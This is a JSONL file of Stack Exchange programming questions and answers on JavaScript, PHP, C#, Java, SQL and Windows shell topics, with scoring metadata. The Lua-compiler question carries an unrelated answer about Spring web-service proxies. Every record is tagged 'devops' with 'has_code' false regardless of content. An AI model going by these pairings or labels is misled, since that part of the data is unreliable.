{"id": "hf_aba5fb8c23cc", "question": "<p>Suppose you want to make an async request in JavaScript, but you want to pass some state along to the callback method. Is the following an appropriate use of closures in JavaScript?</p>\n\n<pre><code>function getSomethingAsync(someState, callback) {\n    var req = abc.createRequestObject(someParams);\n    req.invoke(makeCallback(someState, callback));\n}\n\nfunction makeCallback(someState, callback) {\n    return function getSomethingCallback(data) {\n        var result = processDataUsingState(data, someState);\n        callback(result); // alternately/optionally pass someState along to result\n    }\n}\n</code></pre>\n\n<p>If not, is there a better or more idiomatic way?</p>\n", "question_body": "", "answer": "its better (nicer) to use anonymous functions:\n```\n```\nfunction getSomethingAsync (someState, callback) {\n    req.invoke (function (data) {\n       var result = processDataUsingState (data, someState);\n       callback (result);\n    });\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.136303"}
{"id": "hf_41364af33893", "question": "<p>When I try to use <code>curl</code> or <code>file_get_contents</code> to read something like <a href=\"http://example.com/python/json/\" rel=\"nofollow noreferrer\">http://example.com/python/json/</a> from <a href=\"http://example.com/\" rel=\"nofollow noreferrer\">http://example.com/</a> I should be getting a JSON response, but instead I get a 404 error. Using curl or any other method outside my own domain works perfectly well.</p>\n\n<pre><code>echo file_get_contents('http://example.com/python/json/'); =&gt; 404\necho file_get_contents('http://google.com'); =&gt; OK\n</code></pre>\n\n<p>The same script works on my laptop, but I can't figure out what the difference is.</p>\n", "question_body": "", "answer": "It looks like example.com is not the default domain for the IP address and that file_get_contents uses HTTP/1.0 instead of HTTP/1.1 and/or does not send a Host: header. Try the curl support in PHP instead:\n```\n```\n$curl = curl_init();\ncurl_setopt($curl, CURLOPT_URL, 'http://example.com/');\ncurl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);\n$result = curl_exec($curl);\ncurl_close($curl);\n```\n```\nAlternatively the /etc/hosts file sets the wrong IP address for example.com.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.160985"}
{"id": "hf_f7daeee86293", "question": "<p>How do I discover classes at runtime in the classpath which implements a defined interface?</p>\n\n<p>ServiceLoader suits well (I think, I haven't used it), but I need do it in Java 1.5.</p>\n", "question_body": "", "answer": "There is no reliable way to know what classes are in the classpath. According to its\ndocumentation\n, ServiceLoader relies on external files to tell it what classes to load; you might want to do the same. The basic idea is to have a file with the name of the class(es) to load, and then use reflection to instantiate it/them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.201054"}
{"id": "hf_d03ae09ffd14", "question": "<p>I want to get the size of a drive (or UNC path pointing to a partition would be nice, but not required), as well as free space for said drive (or UNC path).  This doesn't need to work cross platform; only in Windows.</p>\n\n<p>I know it's easy to do in Java 6, but that's not an option; I'm stuck with Java 5.</p>\n\n<p>I can get the free space available by doing:</p>\n\n<blockquote>\n  <p>cmd.exe /c Z:\\ /-c</p>\n  \n  <p>or</p>\n  \n  <p>cmd.exe /c \\\\server\\share /-c</p>\n</blockquote>\n\n<p>and just parsing out the resulting bytes free.  However I can't seem to find a way to get the total drive size.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "One way to do it would be to use fsutil on the command line.  It returns something like this:\n```\n```\nD:\\>fsutil fsinfo ntfsinfo c:\nNTFS Volume Serial Number :       0xd49cf9cf9cf9ac5c\nVersion :                         3.1\nNumber Sectors :                  0x0000000004a813ff\nTotal Clusters :                  0x000000000095027f\nFree Clusters  :                  0x00000000002392f5\nTotal Reserved :                  0x0000000000000490\nBytes Per Sector  :               512\nBytes Per Cluster :               4096\nBytes Per FileRecord Segment    : 1024\nClusters Per FileRecord Segment : 0\nMft Valid Data Length :           0x000000000e70c000\nMft Start Lcn  :                  0x00000000000c0000\nMft2 Start Lcn :                  0x0000000000000010\nMft Zone Start :                  0x0000000000624ea0\nMft Zone End   :                  0x0000000000643da0\n```\n```\nMultipy your number of sectors times the bytes per sector to get your size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.236832"}
{"id": "hf_98705f66fa03", "question": "<p>Really simple question - how do I do a search to find all records where the name starts with a certain string in ActiveRecord. I've seen all sorts of bits all over the internet where verbatim LIKE SQL clauses are used - but from what I've heard that isn't the 'correct' way of doing it.</p>\n\n<p>Is there a 'proper' Rails way?</p>\n", "question_body": "", "answer": "If you're looking to do the search in the database then you'll need to use SQL.\nAnd, of course, you'll need to do the search in the database otherwise you need to load\nall\nthe objects into Ruby (which isn't a good thing).\nSo, you will need something like\n```\n```\nMyModel.find(:all, :conditions => [\"field LIKE ?\", \"#{prefix}%\"])\n```\n```\nwhere\n```\nprefix\n```\nis a variable with the string you're looking for.\nIn Rails 3.0+ this becomes:\n```\n```\nMyModel.where(\"field LIKE :prefix\", prefix: \"#{prefix}%\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.273287"}
{"id": "hf_5898147a728c", "question": "<p>What would be the best hashing algorithm if we had the following priorities (in that order):</p>\n\n<ol>\n<li>Minimal hash collisions</li>\n<li>Performance</li>\n</ol>\n\n<p>It doesn't have to be secure. Basically I'm trying to create an index based on a combination of properties of some objects. <strong>All the properties are strings</strong>.</p>\n\n<p>Any references to c# implementations would be appreciated.</p>\n", "question_body": "", "answer": "There is no one single optimum hashing algorithm.  If you have a known input domain you can use a perfect-hashing generator such as\ngperf\nto generate a hashing algorithm that will get a 100% rate on that particular input set.  Otherwise, there is no 'right' answer to this question.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.297740"}
{"id": "hf_0c1f3865e4cc", "question": "<p>I've been a C# programmer for about 2 years total, and professionally for a little more than 1. I work at a company as a developer on an application that began before the days of .NET 2. My question is this:</p>\n\n<p>What is the benefit to use databinding from sql queries directly to a control over querying and manually adding items to the control? Is this approach generally considered cleaner, and simpler in terms of deploying? Will there still be cases where manually adding would give more fine grained control over the display / value of the data?</p>\n\n<p>I'm asking because I've been assigned some bugs that deal with some controls that populate themselves based off query results, and would love to clean up unnecessary logic and push that off to the libraries to handle instead of me.</p>\n\n<p>Note: We are using .NET 2.0</p>\n", "question_body": "", "answer": "I personally find that using the\n```\n```\ncontrol.DataSource = YourSource;\ncontrol.DataBind();\n```\n```\nprocess is much easier, you don't have to do the iteration, and overall reduces LOC.\nIf working with DropDownLists and other controls you will most likely set the DataValueField and DataTextField properties as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.357403"}
{"id": "hf_1fbc9ec96bdf", "question": "<p>The <a href=\"https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2012/c5kehkcz(v=vs.110)\" rel=\"noreferrer\">MSDN documentation</a> says that</p>\n<pre><code>public class SomeObject\n{\n  public void SomeOperation()\n  {\n    lock(this)\n    {\n      //Access instance variables\n    }\n  }\n}\n</code></pre>\n<p>is &quot;a problem if the instance can be accessed publicly&quot;. I'm wondering why? Is it because the lock will be held longer than necessary? Or is there some more insidious reason?</p>\n", "question_body": "", "answer": "Because if people can get at your object instance (ie: your\n```\nthis\n```\n) pointer, then they can also try to lock that same object. Now they might not be aware that you're locking on\n```\nthis\n```\ninternally, so this may cause problems (possibly a deadlock)\nIn addition to this, it's also bad practice, because it's locking \"too much\"\nFor example, you might have a member variable of\n```\nList<int>\n```\n, and the only thing you actually need to lock is that member variable. If you lock the entire object in your functions, then other things which call those functions will be blocked waiting for the lock. If those functions don't need to access the member list, you'll be causing other code to wait and slow down your application for no reason at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.393719"}
{"id": "hf_f3a5815ec7d6", "question": "<p>Is there a library out there which I can use in my current ASP.NET app, to validate queryStrings?</p>\n\n<p>Edit ~ Using Regex to look for patterns, like string, only, numeric only, string with length x,...etc</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Don't know about a library, but you can use to check if the querystring exists:\n```\n```\nif (!String.IsNullOrEmpty(Request.Querystring[\"foo\"]))\n{\n   // check further\n}\nelse\n{\n   // not there, do something else\n}\n```\n```\nIf you want to use Reglar Expressions to further validate, you can create a class that accepts the string and return a boolean.\n```\n```\npublic static Boolean IsValid(String s)\n{\n    const String sRegEx = @\"regex here\";\n\n    Regex oRegEx = new Regex(sRegEx , RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.IgnorePatternWhitespace | RegexOptions.Compiled);\n    MatchCollection oMatches = oRegEx.Matches(s);\n\n    return (oMatches.Count > 0) ? true : false;\n}\n```\n```\nThis is a good free program to help you build the regluar expressions:\nExpresso", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.418325"}
{"id": "hf_eb794c583766", "question": "<p>Does anyone know of any DLLs (preferably .net) that encapsulate the lua 5.1 compiler?  I'm working on a .net project where part of it needs to compile lua scripts, and i would rather have a DLL that i could send script code to instead of sending the script to a temporary file and running luac.exe.</p>\n\n<p>Edit: I'd need a .NET library that implements luac in such a way that it outputs standard lua bytecode (not a lua library that compiles to the CLR).  Compiling the lua c source code didn't work, as when i went to include a reference to the dll in a c# project, visual studio complained that it wasnt a valid assembly.  My searches so far haven't found anything.</p>\n", "question_body": "", "answer": "Have you looked into using something like Spring's proxy functionality?  You tell it a bit about the webservice in a spring config file, and all your client code has to deal with is an interface that you create - it doesn't even have to know that there is a web service on the other side!\nExample Spring config:\n```\n```\n<bean id=\"myService\" class=\"org.springframework.remoting.jaxrpc.JaxRpcPortProxyFactoryBean\">\n    <property name=\"serviceFactoryClass\" value=\"org.apache.axis.client.ServiceFactory\"/>\n    <property name=\"wsdlDocumentUrl\" value=\"classpath://META-INF/myService.wsdl\"/>\n    <property name=\"namespaceUri\" value=\"http://com/myService\"/>\n    <property name=\"endpointAddress\" value=\"http://server/MyService\"/>\n    <property name=\"serviceName\" value=\"MyService\"/>\n    <property name=\"portName\" value=\"MyService\"/>\n    <property name=\"serviceInterface\" value=\"com.IMyService\"/>\n    <property name=\"lookupServiceOnStartup\" value=\"false\"/>\n</bean>\n<bean id=\"myClient\" class=\"com.MyServiceClient\">\n    <property name=\"myService\" ref=\"myService\"/>\n</bean>\n```\n```\nJava:\n```\n```\npublic interface IMyService {\n    Foo getFoo();\n}\n\npublic class MyServiceClient {\n    private IMyService myService;\n    public void setMyService(IMyService myService) {\n        this.myService = myService;\n    }\n\n    public void DoStuff() {\n        Foo foo = myService.getFoo();\n        ...\n    }\n}\n```\n```\nFor custom objects, you may need to subclass JaxRpcPortProxyFactoryBean:\n```\n```\npublic class MyServiceFactoryBean extends JaxRpcPortProxyFactoryBean {\nprotected void postProcessJaxRpcService(Service service) {\n    TypeMappingRegistry registry = service.getTypeMappingRegistry();\n    TypeMapping mapping = registry.createTypeMapping();\n            QName qName = new QName(\"http://com/myService\", \"Foo\");\n    mapping.register(Foo.class, qName,\n            new BeanSerializerFactory(Foo.class, qName),\n            new BeanDeserializerFactory(Foo.class, qName));\n    }\n}\n```\n```\nWhat I love about this is that code that\nshouldn't\ncare about the implementation of the service\ndoesn't\n.  Testing becomes a breeze, and the cohesion of your classes is\nmuch\nbetter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.455979"}
{"id": "hf_49376a65f434", "question": "<p>I want to have a map that has a homogeneous key type but heterogeneous data types.</p>\n\n<p>I want to be able to do something like (pseudo-code):</p>\n\n<pre><code>boost::map&lt;std::string, magic_goes_here&gt; m;\nm.add&lt;int&gt;(\"a\", 2);\nm.add&lt;std::string&gt;(\"b\", \"black sheep\");\n\nint i = m.get&lt;int&gt;(\"a\");\nint j = m.get&lt;int&gt;(\"b\"); // error!\n</code></pre>\n\n<p>I could have a pointer to a base class as the data type but would rather not.</p>\n\n<p>I've never used boost before but have looked at the fusion library but can't figure out what I need to do.</p>\n\n<p>Thanks for your help.</p>\n", "question_body": "", "answer": "How can I build a <favorite container> of objects of different types?\nYou can't, but you can fake it pretty well. In C/C++ all arrays are homogeneous (i.e., the elements are all the same type). However, with an extra layer of indirection you can give the appearance of a heterogeneous container (a heterogeneous container is a container where the contained objects are of different types).\nThere are two cases with heterogeneous containers.\nThe first case occurs when all objects you want to store in a container are publicly derived from a common base class. [...]\nThe second case occurs when the object types are disjoint — they do not share a common base class.\nThe approach here is to use a handle class. The container is a container of handle objects (by value or by pointer, your choice; by value is easier). Each handle object knows how to \"hold on to\" (i.e., maintain a pointer to) one of the objects you want to put in the container. You can use either a single handle class with several different types of pointers as instance data, or a hierarchy of handle classes that shadow the various types you wish to contain (requires the container be of handle base class pointers). The downside of this approach is that it opens up the handle class(es) to maintenance every time you change the set of types that can be contained. The benefit is that you can use the handle class(es) to encapsulate most of the ugliness of memory management and object lifetime. Thus using handle objects may be beneficial even in the first case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.492889"}
{"id": "hf_d20beefd7f82", "question": "<p>In MS SQL 2005 or T-SQL, you can do something like:</p>\n\n<pre><code>SELECT T.NAME, T.DATE \n  FROM (SELECT * FROM MyTable WHERE ....) AS T\n</code></pre>\n\n<p>I failed to try the similar SQL on Oracle 9i DB. In MS SQL, the nested SQL is treated as a temporary/dynamic view created on fly and destroyed afterward. How can I do the similar thing in Oracle? I really don't want to create a view to do it.</p>\n", "question_body": "", "answer": "I believe it chokes on the \"as\".\n```\n```\nSELECT T.NAME, T.DATE \n  FROM (SELECT * FROM MyTable WHERE ....)  T\n```\n```\nshould work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.518297"}
{"id": "hf_8765c74e9db8", "question": "<p>Basically, I have an <code>iframe</code> embedded in a page and the <code>iframe</code> has some <a href=\"http://en.wikipedia.org/wiki/JavaScript\" rel=\"noreferrer\">JavaScript</a> routines I need to invoke from the parent page.</p>\n\n<p>Now the opposite is quite simple as you only need to call <code>parent.functionName()</code>, but unfortunately, I need exactly the opposite of that.</p>\n\n<p>Please note that my problem is not changing the source <a href=\"http://en.wikipedia.org/wiki/Uniform_Resource_Locator\" rel=\"noreferrer\">URL</a> of the <code>iframe</code>, but invoking a function defined in the <code>iframe</code>.</p>\n", "question_body": "", "answer": "Quirksmode had a\npost on this\n.\nSince the page is now broken, and only accessible via archive.org, I reproduced it here:\nIFrames\nOn this page I give a short overview of accessing iframes from the page they’re on. Not surprisingly, there are some browser considerations.\nAn iframe is an inline frame, a frame that, while containing a completely separate page with its own URL, is nonetheless placed inside another HTML page. This gives very nice possibilities in web design. The problem is to access the iframe, for instance to load a new page into it. This page explains how to do it.\nFrame or object?\nThe fundamental question is whether the iframe is seen as a frame or as an object.\nAs explained on the\nIntroduction to frames\npages, if you use frames the browser creates a frame hierarchy for you (\n```\ntop.frames[1].frames[2]\n```\nand such). Does the iframe fit into this frame hierarchy?\nOr does the browser see an iframe as just another object, an object that happens to have a src property? In that case we have to use a standard\nDOM call\n(like\n```\ndocument.getElementById('theiframe'))\n```\nto access it.\nIn general browsers allow both views on 'real' (hard-coded) iframes, but generated iframes cannot be accessed as frames.\nNAME attribute\nThe most important rule is to give any iframe you create a\n```\nname\n```\nattribute, even if you also use an\n```\nid\n```\n.\n```\n```\n<iframe src=\"iframe_page1.html\"\n    id=\"testiframe\"\n    name=\"testiframe\"></iframe>\n```\n```\nMost browsers need the\n```\nname\n```\nattribute to make the iframe part of the frame hierarchy. Some browsers (notably Mozilla) need the\n```\nid\n```\nto make the iframe accessible as an object. By assigning both attributes to the iframe you keep your options open. But\n```\nname\n```\nis far more important than\n```\nid\n```\n.\nAccess\nEither you access the iframe as an object and change its\n```\nsrc\n```\nor you access the iframe as a frame and change its\n```\nlocation.href\n```\n.\ndocument.getElementById('iframe_id').src = 'newpage.html';\nframes['iframe_name'].location.href = 'newpage.html';\nThe frame syntax is slightly preferable because Opera 6 supports it but not the object syntax.\nAccessing the iframe\nSo for a complete cross–browser experience you should give the iframe a name and use the\n```\n```\nframes['testiframe'].location.href\n```\n```\nsyntax. As far as I know this always works.\nAccessing the document\nAccessing the document inside the iframe is quite simple, provided you use the\n```\nname\n```\nattribute. To count the number of links in the document in the iframe, do\n```\nframes['testiframe'].document.links.length\n```\n.\nGenerated iframes\nWhen you generate an iframe through the\nW3C DOM\nthe iframe is not immediately entered into the\n```\nframes\n```\narray, though, and the\n```\nframes['testiframe'].location.href\n```\nsyntax will not work right away. The browser needs a little time before the iframe turns up in the array, time during which no script may run.\nThe\n```\ndocument.getElementById('testiframe').src\n```\nsyntax works fine in all circumstances.\nThe\n```\ntarget\n```\nattribute of a link doesn't work either with generated iframes, except in Opera, even though I gave my generated iframe both a\n```\nname\n```\nand an\n```\nid\n```\n.\nThe lack of\n```\ntarget\n```\nsupport means that you must use JavaScript to change the content of a generated iframe, but since you need JavaScript anyway to generate it in the first place, I don't see this as much of a problem.\nText size in iframes\nA curious Explorer 6 only bug:\nWhen you change the text size through the View menu, text sizes in iframes are correctly changed. However, this browser does not change the line breaks in the original text, so that part of the text may become invisible, or line breaks may occur while the line could still hold another word.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.555164"}
{"id": "hf_ac15eaba29d6", "question": "<p>Is it possible to <code>typedef</code> long types that use templates?  For example:</p>\n\n<pre><code>template &lt;typename myfloat_t&gt;\nclass LongClassName\n{\n    // ...\n};\n\ntemplate &lt;typename myfloat_t&gt;\ntypedef std::vector&lt; boost::shared_ptr&lt; LongClassName&lt;myfloat_t&gt; &gt; &gt; LongCollection;\n\nLongCollection&lt;float&gt; m_foo;\n</code></pre>\n\n<p>This doesn't work, but is there a way to achieve a similar effect?  I just want to avoid having to type and read a type definition that covers almost the full width of my editor window. </p>\n", "question_body": "", "answer": "No, that isn't possible currently. It will be made possible in C++0X AFAIK.\nThe best I can think of is\n```\n```\ntemplate<typename T> struct LongCollection {\n    typedef std::vector< boost::shared_ptr< LongClassName<T> > > type;\n};\n\nLongCollection<float>::type m_foo;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.582510"}
{"id": "hf_069eccea794b", "question": "<p>Looking up LINQ and Or in google is proving somewhat difficult so here I am.</p>\n\n<p>I want to so the following:</p>\n\n<pre><code>(from creditCard in AvailableCreditCards \nwhere creditCard.BillToName.ToLowerInvariant().Contains(txtFilter.Text.ToLowerInvariant())\n**or creditCard.CardNumber.().Contains(txtFilter.Text)**\norderby creditCard.BillToName\nselect creditCard)\n</code></pre>\n", "question_body": "", "answer": "You can use the .Where() function to accomplish this.\n```\n```\nvar cards = AvailableCreditCards.Where(card=> card.CardNumber.Contains(txtFilter.Text) || card.BillToName.ToLowerInvariant().Contains(txtFilter.Text.ToLowerInvariant());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.606893"}
{"id": "hf_71427b722aa3", "question": "<p>In AJAX applications that need to poll the server in regular intervals (like a chat applications), what is the recommended minimum time between two calls, so that the update is done as quickly as possible? What times are considered as hogs for the server and the client?</p>\n", "question_body": "", "answer": "The answer to this question is very much dependent on:\nHow much data is sent in each poll\nHow many users you will have online at a time\nHow much bandwidth your server can handle\nHow \"fresh\" the data on your client needs to be\nWithout knowing any of these specifics for your app, it's going to be hard to give a good recommendation. Have you looked into a method where the client connects to the server, and the server holds the connection open until there is data available? Then the server delivers the data, and the client immediately reconnects and waits again. That can be tricky to get working, but you might be able to maximize both efficiency of bandwidth AND responsiveness that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.680583"}
{"id": "hf_c2da18c43df6", "question": "<p>How do I get a function's name as a string?</p>\n<pre><code>def foo():\n    pass\n\n&gt;&gt;&gt; name_of(foo)\n&quot;foo&quot;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nmy_function.func_name\n```\n```\nThere are also other fun properties of functions. Type\n```\ndir(func_name)\n```\nto list them.\n```\nfunc_name.func_code.co_code\n```\nis the compiled function, stored as a string.\n```\n```\nimport dis\ndis.dis(my_function)\n```\n```\nwill display the code in\nalmost\nhuman readable format. :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.705079"}
{"id": "hf_c048e23ffd3e", "question": "<p>An easy jQuery question.</p>\n\n<p>I have several identical forms ( except their name ) on one page with a few hidden inputs in each. I want to refer to them by using the form name and  then the input name. ( the input names are not unique in my page )</p>\n\n<p>So for instance: </p>\n\n<pre><code>var xAmt = $('#xForm'+num).('#xAmt');\n</code></pre>\n\n<p>I really want to supply these values to an AJAX POST</p>\n\n<pre><code>    $.ajax({\n      url: \"X.asp\",\n      cache: false,\n      type:  \"POST\",\n      data:  \"XID=xID&amp;xNumber=xNum&amp;xAmt=xAmt\",\n</code></pre>\n\n<p>...</p>\n\n<p>If I can get the values in the AJAX call even better.</p>\n", "question_body": "", "answer": "Looks like you want\n```\nformSerialize()\n```\n(or even\n```\najaxSubmit()\n```\n) from the\njQuery forms plugin\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.729863"}
{"id": "hf_4ca901823ea6", "question": "<p>I would like to be able to cast a value dynamically where the type is known only at runtime. Something like this:</p>\n\n<pre><code>myvalue = CType(value, \"String, Integer or Boolean\")\n</code></pre>\n\n<p>The string that contains the type value is passed as an argument and is also read from a database, and the value is stored as string in the database.</p>\n\n<p>Is this possible?</p>\n", "question_body": "", "answer": "Sure, but\n```\nmyvalue\n```\nwill have to be defined as of type\n```\nObject\n```\n, and you don't necessarily want that. Perhaps this is a case better served by generics.\nWhat determines what type will be used?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.797715"}
{"id": "hf_6386305e894c", "question": "<p>Is there a way to dynamically invoke a method in the same class for PHP? I don't have the syntax right, but I'm looking to do something similar to this:</p>\n\n<pre><code>$this-&gt;{$methodName}($arg1, $arg2, $arg3);\n</code></pre>\n", "question_body": "", "answer": "Just omit the braces:\n```\n```\n$this->$methodName($arg1, $arg2, $arg3);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.822597"}
{"id": "hf_25ae19dd1ef9", "question": "<p>I have a program that will calculate the minimal area taken by fitting rectangles together.</p>\n\n<p>Input: Rectangles of different height and width.<br>\nOutput: One rectangle that contains all these rectangles.<br>\nRules: One cannot turn or roll the rectangles around and they cannot overlap.</p>\n\n<p>I understand that this is related or is possibly defined as a bin packing problem (NP-hard). However the algorithms i found for those often set a limit on for example width. I have no such limits, the only goal is to get the resulting area as small as possible.</p>\n\n<p>Any pointers on what algorithm is appropriate to get a decent solution?</p>\n", "question_body": "", "answer": "I'd start by skimming through\nhttp://mathworld.wolfram.com\n- they're awesome for stuff like this.\nSecond, I could envision a dopey algorithm that would put the longest (in the X dimension) box on the bottom, then the tallest (in the Y dimension) on top of it on one side or the other. Then continue stacking them in this \"stair-stepped\" fashion going right wards and upwards (for example go right until you can't, then go up, etc, etc).\nThat's probably non-ideal, and may very well give you bad results, but it's what popped to mind first.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.847092"}
{"id": "hf_154301fb772b", "question": "<p>I need to echo a string containing angle brackets (&lt; and >) to a file on a Windows machine.  Basically what I want to do is the following:<br>\n<code>echo some string &lt; with angle &gt; brackets &gt;&gt;myfile.txt</code></p>\n\n<p>This doesn't work since the command interpreter gets confused with the angle brackets.  I could quote the whole string like this:<br>\n<code>echo \"some string &lt; with angle &gt; brackets\" &gt;&gt;myfile.txt</code></p>\n\n<p>But then I have double quotes in my file that I don't want.  </p>\n\n<p>Escaping the brackets ala unix doesn't work either:<br>\n<code>echo some string \\&lt; with angle \\&gt; brackets &gt;&gt;myfile.txt</code></p>\n\n<p>Ideas?</p>\n", "question_body": "", "answer": "The Windows escape character is ^, for some reason.\n```\n```\necho some string ^< with angle ^> brackets >>myfile.txt\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.958859"}
{"id": "hf_e755a1e08e68", "question": "<p>I'm invoking <a href=\"http://msdn.microsoft.com/en-us/library/ms995760.aspx\" rel=\"nofollow noreferrer\">one of SharePoint's web service APIs</a> that returns a CAML fragment. I've searched the interweb far and wide but I've been unable to figure out how to make this CAML fragment to render as \"normal\" HTML that I can render in a more sane environment like Plumtree, WLP, Liferay or any other portal besides SharePoint.</p>\n\n<p>Without a way to do this, I'm wondering why Microsoft wrote SharePoint web service calls that return CAML in the first place. Web services are for interoperability and it seems the CAML is only valid within a WebPart running within SharePoint. [Note to Bill and Steve: that's not interoperability.]</p>\n\n<p>If I can't do anything with the CAML that comes back, I'm just going to call a different web service that returns only data and then write my own UI. I was hoping for an easier path. Any suggestions would be greatly appreciated.</p>\n", "question_body": "", "answer": "You could send the CAML through an XSLT stylesheet to generate HTML or XHTML.\nEdit:\nConsidering your first question (why SharePoint returns CAML from some of its web services)... who knows?  It may be there to support authoring tools such as SharePoint designer.  But it seems clear from the dearth of documentation and tools that CAML is a more-or-less internal SharePoint thing. At present, performing CAML-to-HTML conversion would require either somehow accessing the CAML rendering engine within SharePoint, or re-implementing it. Neither option is attractive.\nI think that your conclusion (calling data-returning web services and rendering the HTML yourself) is probably your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:45.999606"}
{"id": "hf_c493facaef69", "question": "<p>How do you rename a file to include the datetime using the windows command line?</p>\n", "question_body": "", "answer": "Check out\nStampMe.cmd\nat\nhttp://www.ss64.com/nt/syntax.html\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:46.023999"}
